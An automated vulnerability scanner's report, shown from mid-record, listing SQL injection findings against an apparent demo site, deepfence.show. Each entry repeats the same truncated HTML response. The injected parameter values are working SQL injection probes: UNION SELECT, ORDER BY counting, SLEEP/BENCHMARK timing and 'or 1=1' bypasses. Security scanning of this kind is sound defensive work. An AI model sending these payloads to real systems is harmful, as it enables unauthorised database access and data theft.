language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1698
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 3--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1699
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# -2
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1700
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# admin" or 1=1--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1701
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1702
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# '\"
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1703
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1704
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1705
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1706
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1707
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1708
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' AND MID(VERSION(),1,1) = '5';ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1709
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1710Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AS INJECTX WHERE 1=1 AND 1=1
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1711
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 1=1 AND '%'='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1712
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),3#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
